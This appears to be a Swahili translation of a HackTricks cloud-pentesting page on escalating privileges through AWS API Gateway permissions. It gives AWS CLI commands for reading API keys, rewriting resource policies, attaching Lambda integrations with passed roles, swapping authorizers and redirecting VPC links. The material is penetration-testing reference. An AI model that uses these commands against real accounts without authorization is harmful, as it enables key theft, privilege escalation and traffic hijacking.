AWS - Apigateway Privesc

unga mkono HackTricks

Apigateway

Kwa maelezo zaidi angalia:

AWS - API Gateway Enum

apigateway:POST

Kwa kibali hiki unaweza kuzalisha funguo za API za API zilizowekwa (kwa kanda).

aws --region <region> apigateway create-api-key

Athari Inayowezekana: Huwezi kufanya privesc kwa njia hii lakini unaweza kupata ufikiaji wa habari nyeti.

apigateway:GET

Kwa kibali hiki unaweza kupata funguo za API zilizozalishwa za APIs zilizowekwa (kwa kila eneo).

aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Athari Inayowezekana: Huwezi kufanya privesc kwa njia hii lakini unaweza kupata ufikiaji wa habari nyeti.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Kwa idhini hizi, niwezekanavyo kurekebisha sera ya rasilimali ya API ili kujipatia ufikiaji wa kuipiga simu na kutumia ufikiaji wa uwezo ambao gateway ya API inaweza kuwa nayo (kama kuita lambda inayoweza kudhuriwa).

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Matokeo Yanayowezekana: Kwa kawaida, hutaweza kufanya privesc moja kwa moja kwa kutumia mbinu hii lakini unaweza kupata ufikivu wa taarifa nyeti.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Inahitaji majaribio

Mshambuliaji mwenye ruhusa za apigateway:PutIntegration, apigateway:CreateDeployment, na iam:PassRole anaweza kuongeza ushirikishaji mpya kwenye API iliyopo ya API Gateway REST na kazi ya Lambda ambayo ina jukumu la IAM iliyowekwa. Mshambuliaji kisha anaweza kuzindua kazi ya Lambda kutekeleza nambari ya kupindukia na labda kupata ufikivu wa rasilimali zilizohusishwa na jukumu la IAM.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Athari Inayowezekana: Kupata ufikiaji wa rasilimali zinazohusiana na jukumu la IAM la Lambda function.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Inahitaji majaribio

Mshambuliaji mwenye ruhusa za apigateway:UpdateAuthorizer na apigateway:CreateDeployment anaweza kurekebisha mwandishi wa API ya Gateway uliopo ili kudukua vikaguzi vya usalama au kutekeleza nambari ya kupita wakati maombi ya API yanafanywa.

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Athari Inayowezekana: Kupitisha ukaguzi wa usalama, ufikiaji usioruhusiwa wa rasilimali za API.

Inahitaji majaribio

Mshambuliaji mwenye ruhusa ya apigateway:UpdateVpcLink anaweza kurekebisha Kiungo cha VPC kilichopo ili kuelekeza kwenye Balancer ya Mzigo wa Mtandao tofauti, hivyo kubadilisha mwelekeo wa trafiki ya API ya kibinafsi kuelekea rasilimali zisizoruhusiwa au zenye nia mbaya.

bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Athari Inayowezekana: Upatikanaji usiohalali wa rasilimali za API za kibinafsi, udukuzi au kuvuruga trafiki ya API.

Last updated